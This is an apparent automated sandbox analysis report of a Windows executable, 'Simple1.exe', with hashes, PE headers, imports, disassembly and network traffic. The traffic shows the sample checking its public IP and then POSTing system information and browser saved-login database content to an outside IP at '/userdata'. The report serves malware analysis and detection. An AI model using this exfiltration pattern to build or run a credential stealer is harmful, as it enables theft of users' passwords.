SHA1:	35ee01d3128951c3993079186fddc9c0dbe155f7
SHA256:	95ec35703d323fe972a936d9b3574bb191e94b693656d94149897c5ff35f225f
SHA512:	335108a63a07d9d81240c40e67dc6375468bd5bae79edf413b0ec8913e43364b155fdebe0c972ab6150ae2c59779d75045108d9a257e2ce0b8c5ae78f819804e
SSDEEP:	1536:KRF3gVPu3b3X41IiaqGyB0+Hls+X7nTfRQP7K:yRE23zX41la+THls+m+
TLSH:	A2834947376A00ECD1ABA378D5A30A06D772BC05076193DF13A0A17A0FA67D1AE7FB51
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............a...a...a.......a...b...a...e...a...d...a...`...a...`...a...`.r.a...h...a.......a...c...a.Rich..a........................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14000bae8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6729C700 [Tue Nov 5 07:19:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	066fb96ba163200488bf8cbd9705163e

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FE904B9D9C0h
dec eax
add esp, 28h
jmp 00007FE904B9D167h
int3
int3
retn 0000h
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [000025CFh]
dec eax
mov ecx, ebx
call dword ptr [000025BEh]
call dword ptr [000025C8h]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [000025BCh]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [000025B0h]
test eax, eax
je 00007FE904B9D2F9h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [00009D26h]
call 00007FE904B9D39Eh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [00009E0Dh], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [00009D9Dh], eax
dec eax
mov eax, dword ptr [00009DF6h]
dec eax
mov dword ptr [00009C67h], eax
dec eax
mov eax, dword ptr [esp+40h]
dec eax
mov dword ptr [00009D6Bh], eax
mov dword ptr [00009C41h], C0000409h
mov dword ptr [00009C3Bh], 00000001h
mov dword ptr [00009C45h], 00000001h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x11ed4	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x17000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x16000	0x9f0	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x18000	0x10c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xf7b0	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xf670	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xe000	0x630	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc077	0xc200	bb167b742e9c1e46cecec9663ad94a6e	False	0.48012644974226804	DIY-Thermocam raw data (Lepton 3.x), scale -14592-0, spot sensor temperature -0.000048, unit celsius, color scheme 0, calibration: offset 262144.000000, slope 171778.046875	6.1463104557320865	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xe000	0x6240	0x6400	a9c91b7191e54302f31a2135cbaafa16	False	0.3462109375	data	4.930625889732141	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x15000	0xda0	0x800	f49b7b400b3a9a593e0463969e69304e	False	0.19775390625	DOS executable (block device driver)	3.6357853761384584	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x16000	0x9f0	0xa00	5859a68e779cdab4bed9be7147961d7c	False	0.493359375	data	4.82362794619983	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x17000	0x1e0	0x200	2c9bc3c453765c5a8e37ea178e81aa1b	False	0.52734375	data	4.710061382693063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x18000	0x10c	0x200	9549c1cc6ee8d55da6140afe18223169	False	0.42578125	data	3.2295190100213778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x17060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	GetFileAttributesW, GetLocaleInfoA, OpenProcess, GetTimeZoneInformation, GetLastError, CloseHandle, K32GetModuleBaseNameA, GetSystemInfo, K32EnumProcesses, GlobalMemoryStatusEx, GetConsoleWindow, K32EnumProcessModules, GetDiskFreeSpaceExA, FindClose, InitializeSListHead, GetSystemTimeAsFileTime, GetEnvironmentVariableW, FindNextFileW, FindFirstFileW, GetLogicalDrives, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, RtlLookupFunctionEntry, GetModuleFileNameA, GetCurrentThreadId, RtlCaptureContext
USER32.dll	ShowWindow
ADVAPI32.dll	RegGetValueA, RegCloseKey, RegOpenKeyExA
MSVCP140.dll	?id@?$codecvt@_WDU_Mbstatet@@@std@@2V0locale@2@A, ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ, ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z, ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z, ?sputn@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAA_JPEB_W_J@Z, ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z, ?widen@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBA_WD@Z, ?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z, ?put@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_W@Z, ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ, ?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ, ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z, ?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEAAG_W@Z, ?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z, ?unshift@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z, ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ, ?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ, ?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXPEAPEAD0PEAH001@Z, ?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ, ?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ, ??0?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z, ?in@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z, ?out@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z, ?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z, ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z, ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ, ??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z, ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z, ??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z, ??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?_Lock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ, ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ, ?showmanyc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JXZ, ?uflow@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ, ?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEAD_J@Z, ?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEBD_J@Z, ?setbuf@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAPEAV12@PEAD_J@Z, ?sync@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAHXZ, ?imbue@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAXAEBVlocale@2@@Z, ??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ, ??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z, ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z, ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z, ??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?read@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_J@Z, ?seekg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@_JH@Z, ?tellg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ, ??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?good@ios_base@std@@QEBA_NXZ, ??7ios_base@std@@QEBA_NXZ, ??1?$codecvt@_WDU_Mbstatet@@@std@@MEAA@XZ, ??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z, ?out@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEB_W1AEAPEB_WPEAD3AEAPEAD@Z, ?in@?$codecvt@_WDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEA_W3AEAPEA_W@Z, ?always_noconv@codecvt_base@std@@QEBA_NXZ, ?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z, ?_Decref@facet@locale@std@@UEAAPEAV_Facet_base@3@XZ, ?_Incref@facet@locale@std@@UEAAXXZ, ??Bid@locale@std@@QEAA_KXZ, ?_Fiopen@std@@YAPEAU_iobuf@@PEB_WHH@Z, ?id@?$codecvt@DDU_Mbstatet@@@std@@2V0locale@2@A, ?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ?wcout@std@@3V?$basic_ostream@_WU?$char_traits@_W@std@@@1@A, ?uncaught_exception@std@@YA_NXZ, ?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z, ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ, ?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z, ?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ??0_Lockit@std@@QEAA@H@Z, ??1_Lockit@std@@QEAA@XZ, ?_Xlength_error@std@@YAXPEBD@Z
IPHLPAPI.DLL	GetAdaptersInfo
NETAPI32.dll	NetApiBufferFree, NetUserEnum, NetGetJoinInformation
WINHTTP.dll	WinHttpQueryDataAvailable, WinHttpConnect, WinHttpSendRequest, WinHttpCloseHandle, WinHttpOpenRequest, WinHttpReadData, WinHttpQueryHeaders, WinHttpOpen, WinHttpReceiveResponse
VCRUNTIME140_1.dll	__CxxFrameHandler4
VCRUNTIME140.dll	__C_specific_handler, _CxxThrowException, memset, __current_exception, __std_terminate, __std_exception_copy, memcpy, memcmp, memchr, memmove, __current_exception_context, __std_exception_destroy
api-ms-win-crt-stdio-l1-1-0.dll	fread, fsetpos, ungetc, _fseeki64, _get_stream_buffer_pointers, setvbuf, fgetpos, fwrite, fflush, __p__commode, fputc, fgetc, fclose, _set_fmode
api-ms-win-crt-heap-l1-1-0.dll	free, malloc, _set_new_mode, _callnewh
api-ms-win-crt-string-l1-1-0.dll	isalnum
api-ms-win-crt-filesystem-l1-1-0.dll	_lock_file, _unlock_file
api-ms-win-crt-runtime-l1-1-0.dll	_get_initial_narrow_environment, _initterm, _initterm_e, _cexit, _exit, __p___argc, __p___argv, _c_exit, _register_thread_local_exe_atexit_callback, _crt_atexit, _register_onexit_function, _seh_filter_exe, _initialize_onexit_table, _initialize_narrow_environment, _configure_narrow_argv, _set_app_type, exit, terminate, _invalid_parameter_noinfo_noreturn
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 11:49:13.232769012 CET	49704	80	192.168.2.5	172.67.74.152
Dec 6, 2024 11:49:13.352699041 CET	80	49704	172.67.74.152	192.168.2.5
Dec 6, 2024 11:49:13.352781057 CET	49704	80	192.168.2.5	172.67.74.152
Dec 6, 2024 11:49:13.353233099 CET	49704	80	192.168.2.5	172.67.74.152
Dec 6, 2024 11:49:13.473386049 CET	80	49704	172.67.74.152	192.168.2.5
Dec 6, 2024 11:49:14.451877117 CET	80	49704	172.67.74.152	192.168.2.5
Dec 6, 2024 11:49:14.501600981 CET	49704	80	192.168.2.5	172.67.74.152
Dec 6, 2024 11:49:14.684916973 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:14.804789066 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:14.805488110 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:14.805691004 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:14.805761099 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:14.926768064 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:14.926909924 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:14.926918983 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:14.927000046 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:14.927009106 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:14.927021980 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:14.927031994 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:14.927092075 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:14.927216053 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:14.927258015 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:14.927262068 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:14.927301884 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:14.927345037 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:14.927371979 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:14.927419901 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:15.047005892 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:15.047039032 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:15.047091007 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:15.047147036 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:15.047156096 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:15.047173023 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:15.047188044 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:15.047228098 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:15.047256947 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:15.090779066 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:15.091413021 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:15.210813999 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:15.211389065 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:15.254879951 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:15.254961967 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:15.374741077 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:15.374808073 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:15.462816000 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:15.462903023 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:15.582839966 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:15.582911968 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:15.834911108 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:15.835098028 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:16.086796045 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:16.086934090 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:16.334815979 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:16.335092068 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:16.582859039 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:16.582973003 CET	49705	80	192.168.2.5	185.237.165.97
Dec 6, 2024 11:49:16.834821939 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:16.939390898 CET	80	49705	185.237.165.97	192.168.2.5
Dec 6, 2024 11:49:44.528742075 CET	49704	80	192.168.2.5	172.67.74.152

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 11:49:13.078744888 CET	54532	53	192.168.2.5	1.1.1.1
Dec 6, 2024 11:49:13.220551014 CET	53	54532	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 11:49:13.078744888 CET	192.168.2.5	1.1.1.1	0x7e9b	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 11:49:13.220551014 CET	1.1.1.1	192.168.2.5	0x7e9b	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 6, 2024 11:49:13.220551014 CET	1.1.1.1	192.168.2.5	0x7e9b	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 6, 2024 11:49:13.220551014 CET	1.1.1.1	192.168.2.5	0x7e9b	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

185.237.165.97

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	172.67.74.152	80	6172	C:\Users\user\Desktop\Simple1.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 11:49:13.353233099 CET	88	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: WinHTTP/1.0 Host: api.ipify.org
Dec 6, 2024 11:49:14.451877117 CET	429	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 10:49:14 GMT Content-Type: text/plain Content-Length: 12 Connection: keep-alive Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8edbb5484d5d4390-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1654&min_rtt=1654&rtt_var=827&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=88&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38 Data Ascii: 8.46.123.228

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	185.237.165.97	80	6172	C:\Users\user\Desktop\Simple1.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 11:49:14.805691004 CET	185	OUT	POST /userdata HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WebKitFormBoundary User-Agent: WinHTTP/1.0 Content-Length: 97034 Host: 185.237.165.97
Dec 6, 2024 11:49:14.805761099 CET	11124	OUT	Data Raw: 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 79 73 69 6e 66 6f 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 Data Ascii: --WebKitFormBoundaryContent-Disposition: form-data; name="sysinfo"Content-Type: application/json{ "sysinfo": "MACHINE%20INFO%3a%0aMachine%20name%3a%20440BX%20Desktop%20Reference%20Platform%0aProcessor%20name%3a%20Intel%28R%29%20Core%28
Dec 6, 2024 11:49:14.927021980 CET	6180	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:49:14.927092075 CET	7416	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:49:14.927262068 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:49:14.927301884 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:49:14.927419901 CET	4944	OUT	Data Raw: 43 52 45 41 54 45 20 54 41 42 4c 45 20 70 61 73 73 77 6f 72 64 5f 6e 6f 74 65 73 20 28 69 64 20 49 4e 54 45 47 45 52 20 50 52 49 4d 41 52 59 20 4b 45 59 20 41 55 54 4f 49 4e 43 52 45 4d 45 4e 54 2c 20 70 61 72 65 6e 74 5f 69 64 20 49 4e 54 45 47 Data Ascii: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL,
Dec 6, 2024 11:49:15.047188044 CET	4944	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:49:15.047228098 CET	7416	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:49:15.047256947 CET	2472	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 11:49:15.091413021 CET	25956	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: &Qlogins_edge_extended_table_version3Cedge_breached_table_version3;last_compatible_versi

Target ID:	0
Start time:	05:49:11
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\Simple1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Simple1.exe"
Imagebase:	0x7ff71e390000
File size:	81'920 bytes
MD5 hash:	218954F9DD70247E51AF8A30940D5C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:49:11
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	30.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	39.4%
Total number of Nodes:	652
Total number of Limit Nodes:	6

Executed Functions

Function 00007FF71E391B50 Relevance: 178.3, APIs: 66, Strings: 35, Instructions: 1575COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF71E391520: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E39157F
Part of subcall function 00007FF71E391520: ??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF71E39159E
Part of subcall function 00007FF71E391520: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E3915D2
